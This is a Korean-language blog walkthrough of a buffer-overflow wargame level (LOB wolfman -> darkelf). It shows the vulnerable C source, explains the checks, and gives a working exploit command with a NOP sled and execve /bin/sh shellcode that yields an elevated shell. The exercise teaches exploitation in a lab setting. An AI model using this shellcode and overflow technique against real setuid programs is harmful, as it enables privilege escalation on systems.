-------------------------------------------------------------------------------------------------------------------------
LOB Level6 [ Wolfman -> Darkelf
LOB Level6 [ Wolfman -> Darkelf
-------------------------------------------------------------------------------------------------------------------------
[wolfman@localhost wolfman]$ ls
darkelf darkelf.c
[wolfman@localhost wolfman]$ ./darkelf
argv error
[wolfman@localhost wolfman]$ cat darkelf.c
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n"); // argv[1] 의 길이가 48보다 클 경우 에러메세지 출력
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
# 이번에는 인자의 길이를 검사하는 게 생겨났다.
# 하지만 이번문제 또한 여태까지 풀어왔던 문제와 계속 똑같다.
# 이 인자의 길이를 검사하는 부분의 역할은 그 뒤에 페이로드를 더 쓰게하는것을 막는다.
`python -c 'print "\xbf"*48'`
나는 계속 이렇게 페이로드를 구성했는데 그 뒤에 더 입력하는걸 제하는 역할을 한다.
한마디로 예를 들자면
`python -c 'print "\xbf"*48 + "\xbf"*48'`
저런걸 금하는 역할을 한다는 말이다. 뒤에 + 를 붙이고 더 이어가는것을 못하게 한다.
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\xbf"*48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault
48개를 넘겨주었을때 세그멘테이션 폴트가 뜬다. 아까와 똑같이 공격이 가능하다.
더 살펴보자면 아까 스크립트를 넘겨줄때 Argv[1] 에서 "\bf" 를 48개 넘겨주고 Argv[2] 에 NOP 와
쉘코드를 올려놓고 공격하였다. Argv[1] 에서 세그폴트가 뜨므로 가능했던거다, 물론 이 문제에서도 가능하다.
그래서 한 마디로 아까 풀었던 방식으로 또 문제를 푸는게 가능하다는 말이다.
그래서 Bash2 만 실행해보고 Argv[2] 에 NOP 와 쉘코드를 올려주고, Argv[1] 에 Argv[2] 의 주소를 올려놓는
똑같은 방식으로 스크립트를 날려보겠다.
[wolfman@localhost wolfman]$ bash2
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\xbf"*44 + "\x2e\x87\xff\xbf"'` `python -c 'print "\x90"*30000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿.‡ÿ¿
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
[ 패스워드 ]
'스터디 > wargames' 카테고리의 다른 글
[BOF-Wargames] LOB Load of BOF LEVEL8 (orge -> troll) 문제풀이 (0) | 2011.08.19 |
---|---|
[BOF-Wargames] LOB Load of BOF LEVEL7 (darkelf -> orge) 문제풀이 (0) | 2011.08.19 |
[BOF-Wargames] LOB Load of BOF LEVEL5 (orc -> wolfman) 문제풀이 (0) | 2011.08.19 |
[BOF-Wargames] LOB Load of BOF LEVEL4 (goblin -> orc) 문제풀이 (0) | 2011.08.17 |
[BOF-Wargames] LOB Load of BOF LEVEL3 (cobolt -> goblin) 문제풀이 (0) | 2011.08.16 |